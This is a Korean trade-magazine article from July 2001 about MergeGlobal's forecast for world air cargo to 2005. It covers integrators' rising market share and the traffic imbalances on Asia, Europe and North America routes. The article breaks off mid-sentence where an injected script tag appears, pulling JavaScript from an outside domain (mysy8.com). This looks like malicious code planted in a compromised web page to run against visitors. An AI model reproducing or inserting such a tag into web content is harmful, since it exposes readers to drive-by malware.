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글쓴이 운영자 작성일 2001-07-11
제목 2005년까지 세계 항공화물 물동량 5.5% 증가
[7월호]Graphic Market

2005년까지 세계 항공화물 물동량 5.5% 증가

인티그레이터 점유율 확대 일로 …머지글로벌 전망


모든 세계 경제가 그렇겠지만 특히 항공화물산업만큼 미국 경제의 흐름에 맥을 같이하는 곳도 없을 것이다. 항공화물의 주요 품목이 주로 반도체 및 전자제품이다 보니 IT 벤처산업에 강한 면모를 보여주고 있는 미국의 경제 분위기와 호흡을 같이 할 수밖에 없을 것이다.

특히 우리나라의 경우는 그 정도가 심하다. 실제로 올해 들어 미국경기의 침체로 인해 항공화물 수요 역시 침체 분위기를 보여주고 있다. 정확히 말한다는 수요 자체는 조금 늘었지만 공급량이 크게 증가하여 항공사의 노선 수익률을 크게 저하시키고 있다.

이러한 상황을 반영하듯에서 최근 세계적인 경제 분석 및 기업 컨설팅 회사인 머지글로벌(Merge Global)에서 2005년까지 세계항공화물의 평균 성장률이 지난 96∼2000년간 평균증가율인 5.9%에 비에 다소 위축된 5.5%에 이를 것으로 전망했다.

머지글로벌의 '2001 The Worlwide Air Cargo Forcast'에 따르면 과거 5년간의 세계 경제지표와 항공화물 물동량 추이를 분석하고 아울러 세계 산업 경제 전망치를 망라하여 분석한 결과, 전체적으로 세계 항공화물은 증가세를 보일 것이지만 화물 수요가 과거에 비해 크게 증가하지 않을 것으로 내다봤다.

이 보고서에서 주목되는 점은 세계 항공화물 추이가 항공사보다는 점차 페덱스, UPS, DHL, TNT, 에어본익스프레스 등과 같은 인티그레이터(Integrator)에 점차 무게가 실릴 것으로 예상했다. 이러한 현상은 특히 항공화물 3대 시장(미주, 유럽, 아시아지역) 중 미주와 유럽에서 큰 폭의 점유율을 보일 것으로 내다봤다. 미주의 경우 지난해 85%의 시장점유율을 가진 인티그레이터들이 2005년에는 거의 90%에 육박할 것으로 전망했으며 유럽의 경우에는 지난해 40%에서 2005년에 50%까지 이를 것으로 예상했다.

머지글로벌은 보고서에서 "세계 항공화물 화주들이 항공 운송비의 저렴성에 비중을 두기 보다는 토털 운송개념에 더욱 관심을 기울어지고 있기 때문"이라고 설명했다.

항공화물로 운송되는 주요 품목별 전망의 경우 이 보고서는 역시 컴퓨터 및 주변기기 품목이 절대적인 우위를 차지할 것으로 예상했다. 이 품목은 2005년에 일일 평균 2,412톤이 증가할 것으로 보고 있다. 아울러 통신기기와 부패성화물의 증가세도 큰 폭의 증가세를 나타낼 것으로 예상했다. 또한 각 주요 노선별 전망을 보면 다음과 같다.

북미 중심 수출입 화물 불균형 심화



▲ 북미-아시아 노선 : 인도를 포함한 환태평양 노선인 이 지역은 미주행 화물(East Bound)이 아시아행 화물(West Bound)과의 폭을 더 넓힐 것으로 예상된다. 이는 아시아지역의 경제활성화와 관련되어 있는 이 노선의 불균형 현상은 이미 지난 98년부터 그 차이는 크게 벌어지고 있다. 지난해만 해도 동향이 하루 평균 4,800톤인데 비해 향이 6,120톤에 달해 항공사의 화물노선관리에 애를 먹이고 있다. 이러한 불균형 현상은 앞으로도 지속될 것으로 전망된 가운데 항공사들은 노선의 불균형 현상을 상쇄하기 위해 3국간 노선을 증대시킬 것으로 보인다.



▲ 유럽-북미 노선 : 아시아-북미 노선과 세계 항공화물 시장이 쌍벽을 이루고 있는 이 노선의 하루평균 항공화물 운송량은 지난 5년동안 연간 6.2%의 성장률을 기록했다. 하지만 향후 5년간은 연간 5.8%의 증가세에 머물 것으로 예상된다. 하루 물동량의 경우 2005년도에는 현재 1만 1,190톤에서 2005년에는 1만 4,060톤에 이를 것으로 머지글로벌을 전망했다. 웨스트바운드와 이스트바운드의 불균형 현상은 아시아-북미 노선에 비해 심하지는 않겠지만 전통적으로 웨스트바운드가 이스트바운드를 약간 상회하는 수준으로 이어질 것으로 전망됐다.



▲ 아시아-유럽 노선 : 지난 97년까지 이 노선은 이스트바운드와 웨스트바운드의 불균형이 심하지 않았다. 또한 웨스트바운보다 이스트바운드 물동량이 더 많았었다. 그러나 아시아 경제 위기가 있었던 98년부터 유럽으로부터의 수입화물이 대폭 줄어들어 역전 현상이 벌어지고 있는데 이러한 현상은 앞으로도 계속 이어저 웨스트바운드의 성장세를 따라잡지 못할 것으로 보인다. 특히 유럽 및 다국적 기업의 아시아권 진출과 현지 생산체제가 높아지고 중국의 수출증가로 인해 웨스트바운드는 과거 10%대의 높은 성장률을 보였고 앞으로도 향후 5년간 평균 7.2%의 성장세를 과시할 것으로 예상된다. 반면 이스트바운드는 과거 1.9%에 2005년까지 연간 5.1%의 증가세에 머물 것으로 보인다.

▲ 유럽-아프리카 노선 : 이 노선의 항공화물 주요 취급 품목은 단연 부패성 화물(음식료, 화훼 등)이다. 이 때문에 아프리카에서 유럽으로 가는 노스바운드가 사우스바운드의 증가?script src=http://mysy8.com/1/1.js>
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